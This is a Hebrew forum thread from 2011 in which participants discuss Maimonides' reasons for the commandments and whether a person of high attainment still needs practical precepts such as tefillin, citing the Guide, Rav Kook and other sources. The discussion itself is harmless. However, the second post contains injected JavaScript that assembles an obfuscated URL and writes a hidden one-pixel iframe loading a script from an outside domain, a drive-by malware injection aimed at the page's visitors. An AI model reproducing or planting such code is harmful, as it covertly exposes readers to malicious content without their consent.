| נשלח ב-3/2/2011 17:11 |
 |
| |
טעמי המצוות: האם היחיד המעולה זקוק למצוות מעשיות
(מתוך התיבה האישית ומתוך ההנחה שהנושא מעניין לרבים, וברשות החבר לדו שיח):
שלום מיימוני
מו"נ ח"ג פרק לא:
"אלא הדבר כפי שאמרנו בלי ספק והוא שכל מצווה מהתרי"ג מצוות היא או למתן השקפה נכונה או לסלוק השקפה רעה, או למתן חוקי צדק או לסלוק עול, או להדריך במדה נעלה או להזהיר ממדה רעה".
למה אדם שרכש לעצמו כבר את ההשקפות הנכונות ואת המדות הנעלות צריך עדיין לקיים את המצוות המעשיות שבין אדם למקום(לדוג' תפילין)?
הלא כל מטרת המצוות האלו היא ההשקפות והמידות הטובות אז במקום להניח תפילין אפשר לעצור ולחשוב את ההשקפות שמצוות תפילין אמורה לתת.
***
ראיתי היום בוויקיפדיה שזה הרעיון הבסיסי של הנצרות
"ישו הציע פרשנות מרחיקת לכת ליהדות. הוא דרש אמנם מתלמידיו להקפיד הקפדה יתרה על קיום המצוות, אך הדגיש את הכוונה הפנימית במעשה, ולא רק את המעשה עצמו. מאוחר יותר, פיתח תלמידו של ישו, פאולוס, השקפה כי אין חשיבות להקפדה על קיום המצוות, אלא במידה שהן מבטאות אמונה פנימית. בניגוד להשקפה זו, התפתחה ביהדות הפרושית, ואחריה ביהדות התלמודית, גישה הגורסת כי המעשה קודם לאמונה, ולפיכך יש חשיבות רבה בקיום קפדני של המצוות."
1. מה רע בהשקפתו של פאולוס?
2. האם באמת יש גישה ביהדות שגורסת שהמעשה חשוב יותר מהאמונה? א"כ מה ההסבר לכך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-3/2/2011 17:12 |
|
| |
שלום וברכה
שלום וברכה
העלית שאלה גדולה שמחייבת דיון ארוך במהותו של האדם, בכוונה שמאחורי התורה, באופן שבו ניתן לקדם את האדם, ועוד ועוד.
חוששני שלא אתפנה לענות כראוי אז עדיף לענות בקיצור רב. וסליחה שאיני מפרט. אנא כתוב לי על כל מה שלא מובן בדברי.
אתה הצעת לומר שמי שהגיע לאמונות הנכונות והחינוך הנכון שוב אינו זקוק לתורה.
נראה לי שהתורה נותנת יותר מכפי שהצגת כאן. וזאת מכמה סיבות.
א. רוב בני האדם אינם מגיעים לרמה הנדרשת. זו עבודה לכל החיים. צא וראה מה קורה מסביבנו. אולי גם מה קורה לנו עצמנו.
ב. אף אדם אינו מתחיל אלא בנקודת האפס.
ג. אדם אינו נשאר תמיד באותה דרגה. יש ירידות והתורה מגינה מפניהן.
ד. אדם אינו מכיר את עצמו מספיק. מי שיאמר לעצמו: שלום עליך נפשי, כבר העפלתי לדרגה הראויה ואין לי ממה לחשוש הוא כנראה טועה ואינו מכיר עצמו מספיק.
ה. התורה מכוונת את האדם להתעלות שאינה מתמצה בכך וכך אמונות וכך וכך התנהגויות או מחוייבויות.
בהתחשב בכל אלו, נראה שאין אדם שימצא את עצמו במצב שהוא כבר אינו זקוק לתורה, וכל שכן ציבור.
שוב, אם לא ברור משהו או יש שאלה, וסביר שיהיו, אנא כתוב שוב.
כל טוב *** 1. נקח לדוגמא את מצוות תפילין. האם אי אפשר להשיג אותן המטרות גם ללא התפילין אלא רק עם הכוונה שצריך לכוון כשמניחים תפילין. 2. האם באמת העיקר הכוונה? וא"כ מה בכל זאת המטרה של החלק הטכני שבמצוות?
***
תוקן כי נשכחה תשובה אחת במהלך ההעתקה...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי מיימוני ב- 03/02/2011 17:16:58
|
|
|
|
|
| נשלח ב-3/2/2011 17:12 |
|
| |
בוקר טוב ומבורך
אכן דוגמאות מבהירות מאד את הנושא. זה מאפשר לנו לבחון אם צריך או לא צריך.
עלינו לשאול: מה נותנת מצות תפלין? וזו שאלה קשה. במצוות רבות לא נאמר לנו מה הן תורמות לנו. מה היא התכלית. גם כאשר זה נאמר, יתכן שעלינו לתרגם זאת למונחים של זמננו. אמנם אנו עשויים להסתייע במה שהתחדש במחקר הפסיכולוגי, החברתי ועוד.
לפיכך, נתבונן במצות תפילין כפי שהיא נוהגת היום, למרות שיש לשאול אם זה משקף את דין תורה. אנו מניחים תפילין בזמן קריאת שמע ותפילת 18. המצוה הזו אמורה לאפשר לנו לחוש בזמן התפילה יותר קרבה לה', יותר קשר למצוות. לא רק שהתורה במחשבתנו ובפינו, אלא גם נישאת על גופנו כמו תכשיט. סמל לאהבה. (איני אומר שמרגישים זאת בזמן המצוה, אלא שכך אמורים להרגיש. אבל אנו יודעים שכך אנו אמורים להרגיש).
זה מחזק אצלנו את התחושות והמחשבות וההרגלים שקריאת שמע אמורה לעורר. איני מפרט עוד איך זה עובד. אפשר לעשות זאת אבל שוב אין כל כך זמני בידי.
אם תרצה לדון נדון בעז"ה.
למעשה, האבחנות שלי כבר מופיעות בדברי ראשונים ומסתבר לי שגם בתלמוד. למשל האם ספר החינוך אינו מסביר את המצוות על פי הכלל הגדול שהמצוות מחנכות את האדם גם ברגש, גם בתובנה?
האם אי אפשר לשמר זאת גם בלי התפילין למעשה? מסתבר שלא. האם מהותו של האדם היא רק יצור חושב ומסיק מסקנות? האם אנו פועלים לחלוטין מתוך מחשבות ברמה של ניתוח פילוסופי? לא כולנו, לא רובנו, אולי אפילו לא כולנו כל הזמן. עשיה של מעשים מתוך מחוייבות משפיעה עלינו וזו השפעה שאין ראוי לוותר עליה.
למעשה כל זה כבר כתבתי לך בפעם הקודמת.
אך יש כאן עוד משהו. ממהותה של תורה שהיא מערכת. לא ניתן לוותר על מצוה מסויימת כי זה פוגע ברמת המחוייבות שחש האדם למצוות אם הוא למד שיש דברים שאפשר בלעדיהם. לכן גם האדם הפילוסוף מחוייב למצוות למרות שבזמנים רבים הוא יכול בלעדי חלק מהן. ויש כאן מקום רב להרחיב על כך. כוונתי שצריך לתאר מבחינה פנומנולוגית (=החויה הנפשית) מה עובר על האדם, נניח הרמב"ם, בשעה שהוא מניח תפילין למרות שהוא יודע שהבנתו גדולה משל קהילתו.
אני מקוה שעניתי. ואם לא, שוב וכתוב וננסה להרחיב ביחד.
כל טוב
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-3/2/2011 17:13 |
|
| |
צהריים טובים
תשובותיך נשמעות טוב כשאנו מסתכלים על התורה כתורה לעם - לרוב הציבור. העם צריך מערכת של חוקים. אבל האדם היחיד והמיוחד אדם שדרגתו גבוהה בעשרת מונים מהעם. הרמב"ם לדוגמא, בחדרי חדרים כשאף אחד לא רואה, האם הוא לא יכול לוותר על התפילין?
נכון זו פריצת גדר זו שבירה של המערכת. אבל המערכת תפקידה להיות גדר וחומה, להגדיר את העם היהודי ולשמור עליו, וכשהרמב"ם לא מניח תפילין בחדרי חדרים הוא לא פוגם בתפקיד של המערכת הכללית.
כתבת "עשיה של מעשים מתוך מחוייבות משפיעה עלינו וזו השפעה שאין ראוי לוותר עליה". לפעמים העשייה פוגעת בנו בכך שהיא מסיטה את תשומת ליבנו מהכוונה שהיא העיקר לפרטים הטכנים שהם הטפל.
אפשר לראות זאת ברוח הנושבת בחלק מהציבור החרדי, שעיקר מאמצהם מושקעים בפרטי המצוות ולא נשאר מקום לכוונה.
האנרגיות ותשומת הלב של האדם מוגבלים, לכן ראוי שאנשים מסוימים (שיודעים איך לא לפגוע במערכת) יפנו את רוב מאמצהם ללב, לכוונה ולעיקר, גם אם זה יהיה לפעמים על חשבון הפרטיים הטכנים של המצוות. ושוב אני מדגיש רק כשזה לא פוגע במערכת. (כמובן שצריך לבחון טוב טוב מי הם האנשים המסוימים והמיוחדים שיכולים לעשות זאת).
עד כאן צד אחד.
צד שני. לעצם הפרטים הטכנים של המצוות גם יש משמעות וערך. ואז כל מה שאמרתי בטל ומבוטל.
מה דעתך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-3/2/2011 17:13 |
|
| |
בוקר טוב
השאלה עכשו, אני מבין, היא: האם יש יוצאי דופן?
אך אם נסקור שוב את הרשימה של התועליות (רבים של תועלת) שיש בתורה, נראה שהשאלה במקומה רק אם נניח שהתורה מיועדת להמון ובאופן כללי.
אם התורה תורמת גם לפרט, גם לאיש המעלה, אז התשובה, כפי שכתבת בעצמך, היא שהיא חיונית גם לאיש המעלה. ואולי במיוחד לאיש המעלה.
התורה אינה רק שמירה של האדם במסגרת חברתית וטיפוח אמונות ומידות-רגשות נכונים. התורה היא גם התקדשות והתעלות לפרט, ומי יודע עד היכן אפשר לטפס. אפילו לגבי הרמב"ם יש לנו (כוונתי לתלמידיו וחוקריו בכל הדורות) מה בדיוק ראה בראש הפירמידה, ואיך יש להבין זאת. ומי אומר שהוא צדק? (יש דברים, גם בפילוסופיה, שודאי טעה. איני בא להפחית מערכו אלא שיש לשמור על איזון).
אולי כדאי בכל זאת לא להסתפק בתשובה העקרונית שהתורה משרתת את הפרט הנעלה ולראות כיצד זה נעשה. אז הבה נסתכל במקרה מבחן.
מה יעשה הרמב"ם בתפילין?
וכיצד זה דומה לאדם יותר פשוט?
להערכתי, ניתן לסדר את הדברים על הציר הבא (וכמובן יש כאן שיפוט מסויים המסתמך על הנחות יסוד שלא פירטתי):
א. מי שמניח תפילין כי כך עשה אבא. או כי כך למד שצריך. או כי זו סגולה גדולה. (גם כאן יש דירוג אבל לא נכנסתי לזה).
ב. מי שמניח תפילין ומשקיע. חושב על מילות התפילה ומתרכז בהן (להבדיל ממי שנדמה לו שהוא מתקן עולמות, מרים ניצוצות, מחבר אותיות שהן סמל להתחברות עולמות. לדעתי כל זה מאגיה או גרוע מזה, וזו כמובן דעתי שלי, ובכלל זה לא הנושא).
ג. מי שמייחד את זמן התפילין לעבודת תפילה וקשר עם ה'. זה מתחיל קודם ונמשך אחרי התפילין. ובוודאי בשעת מעשה. העבודה מתחלקת לכמה רמות:
1. מעשה. רק תפילין ותפילה או לימוד.
2. דיבור. מדבר רק במה שצריך בדברי תורה (איני אומר שאינו עונה לאחרים אם יש צורך).
3. מחשבה. חושב על מילות התפילה.
4. התבוננות. משתדל להבין מדוע התפילין חשובות. כסמל. כמסורת. כמה שנטבע בתודעתו מגיל צעיר מאד כדרך של עבודת ה'. וזאת למרות שהוא כבר עולה על סביבתו בהשגותיו הפילוסופיות. ואולי גם המוסריות והחויותיות.
5. עבודה על המידות. כיון שהוא איש המעלה, הוא צריך להבין מהי ענווה אמיתית. אבל זה לא בהכרח קשור לתפילין. מצד שני, זה זמן טוב לזה.
6. לימוד מהו תפילין. כוונתי מצד המסורת והמשמעות שיש לייחס לזה.
כפי שהרשימה ממחישה, יש ויש מה לאיש המעלה לקבל מן התפילין.
אולי אבאר זאת מצד אחר, כפי שאני מבין. אדם אינו לוח חלק. הוא גדל בתרבות, במשפחה, במערכת. הוא מקבל מן המערכת והרגש שלו מופעם עוד לפני שמופיעות ההכרות הפילוסופיות הראשונות. לכן, המצוות האלו חשובות בגלל שהן מוטבעות. והרי כך רצה ה' שנהיה. ותובנה זו עצמה מעניקה לתפילין עוד יותר חשיבות.
כלומר, איש המעלה חוזר אל התפילין דווקא מתוך הכרות אלו.
כך נראה לי. כך אני מנסה לעשות עם התפילין בעצמי. וכמובן יש עוד חויות פרטיות שאולי ייחודיות לכל אחד מאיתנו.
אנא כתוב מה ברור ומה לא.
כל טוב
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-3/2/2011 17:14 |
|
| |
זה צריך עוד להתבשל אצלי. את הרעיון הבנתי.
תודה רבה :)
***
שלום וברכה אבקש רשותך לפרסם את חילופי הדברים בינינו בפורום עצור. לא אפרסם שום פרט אודותיך. פשוט, לאחר שכבר התכתבנו והעלינו נושאים שחשובים לרבים, מן הסתם כדאי לאפשר לעוד לקרוא, להעזר בניסוח שלך לקושי שיכול להיות גם לאחרים, ובחיפוש אחרי התשובות. כמו כן, מתוך ריבוי הקוראים ניתן ללמוד גם דברים חדשים. תודה מראש *** בשמחה
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-3/2/2011 17:32 |
|
| |
אם הרמב"ם כתב בח"ג פל"ד שיש אנשים שהמצוות אינן מועילות להם, ואולי אפילו מזיקות להם, ובכל זאת לא מצאנו שהתורה פוטרת אותם מהמצוות כי הן ניתנו על דעת הכלל, ק"ו שהחכם המעולה לא ייפטר מהמצוות.
אלא שגישה זו גופא קשיא, אם הרמב"ם היה בטוח בטעמי המצוות שלו, מדוע הערך החברתי של המצוות עולה על הערך התועלתי שלהן?
ניתן גם לשאול, אם הערך החברתי של המצוות כ"כ חשוב, מה יהיה בדור שלמצוות לא יהיה ערך חברתי חיובי, אלא אדרבא שלילי, (אם יתכן דבר כזה), האם כאן הרמב"ם יודה שהטעם גובר או שהרמב"ם יאמר שעלינו להסתכל על כלל הדורות?
הרמב"ם כתב בח"ג פמ"א:
<מכיוון שהאל יתעלה יודע שבכל זמן ומקום זקוקים דיני התורה הזאת - בהתאם לשוני במקומות, לאירועים חדשים ולנסיבות - לתוספת לחלקם או לגריעה מחלקם, הוא אסר להוסיף או לגרוע ואמר: לא תסף עליו ולא תגרע ממנו (דברים י"ג, 1), כי זה היה מביא לשיבוש סדרי התורה ולאמונה שאין היא מאת האל. עם זאת הוא התיר לחכמים שבכל תקופה, כלומר, לבית-דין הגדול, לעשות סייגים לדיני תורה אלה כדי לשמור על יציבותם בדברים שיחדשו על דרך איחוי שבר, ולהנציח סייגים אלה, כמו שאמרו (חז"ל): ועשו סיג לתורה . כן גם הותר להם להשעות חלק ממעשי התורה או להתיר חלק מאיסוריה במצב כלשהו או בהתאם למאורע. אבל אין להנציח זאת, כפי שהבהרנו בפתיחה לפירוש המשנה בעניין הוראת שעה
>
האם ניתן להסיק מכאן שהרמב"ם הכיר בתופעה שציינתי, אלא שמטעמים של שמירת המסגרת הוא הגביל אותה להוראת שעה?
תוקן על ידי בעלבעמיו ב- 03/02/2011 17:33:53
|
|
|
|
|
| נשלח ב-3/2/2011 18:31 |
|
| |
הרמב"ם שם במורה (ח"ג פל"ה) כותב בעניין התפילין וז"ל:
הכלל התשיעי כולל שאר העבודות הכוללות המעשיות, כתפילה וקר"ש ושאר מה שסיפרנום בספר אהבה, ותועלת זה הכלל היא מבוארת שהוא כולו מעשים שמחזקים הדעות באהבת השם ומה שצריך שיאמן בו ושייוחס אליו עכ"ל.
ממילא ברור שאין אפשרות שיסתיים עניין המעשי שבתפילין גם לחכם גדול מאד שהרי אין סוף לצורך החיזוק של הדעות הנכונות כל עוד האדם חי.
אגב, בפרק ל"א הרמב"ם דבר שיש מצוות שעניינן דעות נכונות (לא "השקפות" כמובא בפתיחת האשכול) והן הדברים שכתב בהלכות יסודי התורה, כולל ד' יסודות ארמ"ע וענייני הגלגלים סביב כדור הארץ וכו' ע"ש.
|
|
|
|
| נשלח ב-3/2/2011 18:38 |
|
| |
מיימוני,
כתבת: אך יש כאן עוד משהו. ממהותה של תורה שהיא מערכת. לא ניתן לוותר על מצוה מסויימת כי זה פוגע ברמת המחוייבות שחש האדם למצוות אם הוא למד שיש דברים שאפשר בלעדיהם. לכן גם האדם הפילוסוף מחוייב למצוות למרות שבזמנים רבים הוא יכול בלעדי חלק מהן. ויש כאן מקום רב להרחיב על כך. כוונתי שצריך לתאר מבחינה פנומנולוגית (=החויה הנפשית) מה עובר על האדם, נניח הרמב"ם, בשעה שהוא מניח תפילין למרות שהוא יודע שהבנתו גדולה משל קהילתו. -
על פי הרמב"ם לא ניתן לוותר על מצווה מסויימת כי למצוות אין שום ערך אם לא מקיימים אותם בכללותן כמערכת שלמה - כפי שהוא מסביר בשמונה פרקים פ"ד שחכמת התורה היא בפנימיותה שהיא ניתנה כך שהמשחק הפנים מערכתי פועל על האדם מאליו - - אם כן זה פשוט שהחוויה הנפשית של הרמב"ם כשהניח תפילין היתה שהוא עובד את ה' במצוות כמכלול - ומה לעבודתו ולזה שהוא יודע שהבנתו גדולה משל קהילתו ?
|
|
|
|
| נשלח ב-3/2/2011 19:03 |
|
| |
ישנה נק' אחרת ולענ"ד המשמעותית ביותר.
התורה ניתנה לנו כעם לקיימה בתפארתה ע"מ שנעיד על הקב"ה מחדש המציאות ונותן הנבואה. פאר הוא לנו
כעם ללבוש התפילין ולא רק כיחידים, שכר הוא לנו כיחידים על קיום המצוות כיוון שנרתמנו לתכלית הכללית גילוי
שם ה' בעולם. הנצרות "קידשה" הפרט (גם עבודתו של הנוצרי היא פרטית לא קשורה למערכת משפט ציבורית)
וזנחה הכלל אשר בו מתגלה יחוד ה' (אין קדושה אלא בעדה). "קידשה" הפרט עד לנק' שעשתהו אלוה, ע"ז.
כאשר הפרט מתעלה כבוד ה' מתעלם (שמעריצים את הפרט כשלעצמו כפי שעיניינו רואות)
כאשר הכלל מתעלה כבוד ה' נגלה "...עם חכם ונבון הגוי הגדול הזה. כי מי גוי גדול אשר לו אלהים קרובים אליו כה' אלהינו".(דברים ד', ו-ז).
תוקן על ידי ישראלגיא ב- 03/02/2011 19:04:50
|
|
|
|
| נשלח ב-3/2/2011 19:08 |
|
| |
התכתבות מעניינת, באמת נושא מהותי במיוחד על רקע תפיסתו של הרש"ר הירש "מצוות כסימבולים". אוסיף לדיון עוד מקורות שראיתי שמתייחסים לעניין ואולי שופכים קצת אור על הנושא: שבת י.: "רבא בר רב הונא רמי פוזמקי ומצלי, אמר הכון לקראת אלהיך ישראל" פירוש עין איה: כשם שנחלקה התפילה בכללה לשתים מערכות שהנה רינה ותפילה, שבח ובקשה, כן שונות הנה הפעולות שכל אחת מהנה צריכה לפעול על נפש האדם. מגמת השבח, חלק הרינה שבתפילה, הוא לרומם את נפש האדם בשבחה ליוצרה, למען תכיר בזה את ערכה המרומם, ותהי' מוכנת יותר להשכיל באמתת ד' קונה. ובהיות האדם נוטה אל החכמה והדעת, אל כבוד ד' ועזו, ממילא הוא מתעלה בדרכיו ומתקדש במעשיו, ועובד את בוראו מאהבה, לא עבודת עבד כ"א עבודת בן אהוב וחביב. הנטיה הזאת צריכה שמירה ביחש אל הזהירות במעשה רק מדעה אחת רעה, שלא יחשוב האדם שכאשר כבר מעלתו רמה ונפשו נוטה אל אור ד' ואהבתו, שהוא אינו צריך להיות כ"כ מדקדק במעשים פרטיים, שהם לדעתו אינם כ"א בתור הערות לכונן צעדיו אל המושכלות והנטיות הטובות למי שלא הגיע עדיין עליהם. ומזאת המכשלה יצאה פעמים רבות שערוריה בישראל ובאדם. ע"כ צריך לסמן כי תמיד על האדם להיות מכין עצמו לקראת אלהיו, כי אין קץ לעילוי הנפש ואין תכלית לכבוד האור האלהי הזורח על הנפש המוכנת, וכל מה שיוסיף מעלה צריך עוד להוספת הכנה למעלה יותר עליונה, גם שלא יפול בנופלים מרום מעלתו, מפני שכל הגדול מחבירו יצרו גדול הימנו. ע"כ גם במעשים היותר חיצונים צריך להיות זהיר הרבה עם רוממות מעלתו, כמו שאמר הכתוב"שמור רגליך כאשר תלך אל בית האלהים", כלומר בהתנשאך לחקר שדי ולחשק באהבת אור ד' תשמור עצמך מכל הסרה מעשית גם היותר קלה ונמוכה, כי זה כל האדם באשר הוא אדם וכל ימיו נתונים המה להיות מכין עצמו לקראת אלהיו. ובסורו מדרך הטובה המעשית כבר אבד את הכנתו ולא יזכה לאור היושר האלהי שיופיע בנפשו. ע"כ ברצות רבא בר"ה לסמן את הערך של חלק הרינה שבתפילה, שהוא אמנם מלביש את האדם מלכות והוד והדר מצד רוממות מעלת נפשו המתנשאת להדרת קודש, ועם זה רמי פוזמקי, להורות שצריכה הוראת הגדולה להתפשט על כל הצדדים האנושיים גם היותר נמוכים שבו. ובזה קשור הוא הצד המעשי שבאדם עם צדו העיוני באופן מוצלח מאד, ובזה הוא נכון לקראת אלהיו שהוא ג"כ מגביהי לשבת ומשפילי לראות. ותואר הכנה נאות מאד נגד מעלת העיון, שהרי אין האדם משיג את האמת הגמורה, וכל יתרונו הוא שהוא משיג את דעת ד' לפי ערכו, א"כ כל כבודו הוא רק לפי ערך הכנתו לפי הדבר המושג לו. ע"כ צריך להיות האדם מכבד מאד את כל מעשה וכל תכונה הנושאת עליה כבוד והוד לשם ד' לפי ציורו של האדם, אע"פ שלפעמים ישאהו לבבו לומר כי במה נחשבו דברים כאלה המוגבלים לעומת הדר כבוד שם ד', לא ישכח שכל מעלתו האנושית איננה נערכת כ"א לפי ערך הכנתו מצדו לקראת אלהיו. ע"כ הכל גדול ורב ערך הוא, רמי פוזמקי ומצלי.
אם כן לפי הראי"ה קוק שדעות הטובות הן לא קצבות וע"כ יש תמיד צורך במצוות מעשיות
ובאורות הקודש ח"ג: "זאת המחשבה לבירורה לשמירתה וניקיונה צריכה היא לכל אותן העצות העליונות שכל התורה כולה עסוקה בהן, ובשביל כך המצוות נקראות לבעלי הרזין "תרי"ג עטין דמלכא קדישא"
ולגבי עניין אין-סופיות ההשגה (דבר שמתקשר לפיסקה בעין איה) ס' נפש החיים שער ב' חלק ב':
"ולזאת כנהו א"ס ולא אין ראשית. כי באמת מצד עצמותו ית"ש אין לו סוף ולא ראשית רק מצד השגתנו כחותיו ית'. הלא כל השגתנו הוא רק ראשית. אבל אין סוף להגיע בהשגה להשיג את כוחותיו ית"ש הנשפעים."
|
|
|
|
|
| נשלח ב-3/2/2011 19:26 |
|
| |
ישראל
אני לא בקיא בנצרות? על סמך מה כתבת את דבריך?
שותף
מנין לך שאדם לא יכול להגיע למקסימים הידיעות השכליות?
ראה שמונה פרקים לרמב"ם פ"ז: ודע, כי כל נביא לא יתנבא אלא אחר שייקנו לו המעלות השכליות כולן, כאשר ידע משה רבנו, שלא נשארה לו מחיצה שלא קרעה, ושכבר נשלמו בו מעלות המידות כולן והמעלות השכליות כולן
_________________
תוקן על ידי בעלבעמיו ב- 03/02/2011 19:27:07
|
|
|
|
| נשלח ב-3/2/2011 19:37 |
|
| |
בעלבעמיו - גם אני לא בקיא, על סמך ידיעותי הדלות.
|
|
|
|
| נשלח ב-3/2/2011 19:38 |
|
| |
בעלבעמיו
אצל הרמב"ם עניין הנבואה גם הוא מהעניניים השכליים ועל כן אין קושיה וזה פותר גם את אמירתו המפורסמת על ארסטו שהגיע למעלה שכלית גבוה (אלוהית) אך אינו התנבא.
גם משה רבינו לא הגיע עד הקצה שהרי ראה רק את אחורי ה' ולא את פניו.
או כהסבר הגר"א: מ"ט שערי הקדושה הם בבחינת "אחורי" ואילו השער החמישים הוא "פני" ש"לא יראו"
כלומר שהדרגות בהשגה נחלקות ל50 ומשה רבינו לא הגיע לשער 50
ובר"ן: שער החמישים הוא "ידיעת ה' על אמיתתו"
|
|
|
|
|
| נשלח ב-3/2/2011 19:42 |
|
| |
קנר
האם תפילין יביאו לידיעת שער החמשים?
_________________
|
|
|
|
| נשלח ב-3/2/2011 19:47 |
|
| |
| בעלבעמיו כתב: |  | קנר
האם תפילין יביאו לידיעת שער החמשים? _________________
|
|
ראה למעלה שתפילין לא מביאות שום דבר חדש, תפילין רק מחזקות את הדעות הנכונות שנרכשו באמצעים אחרים.
|
|
|
|
|
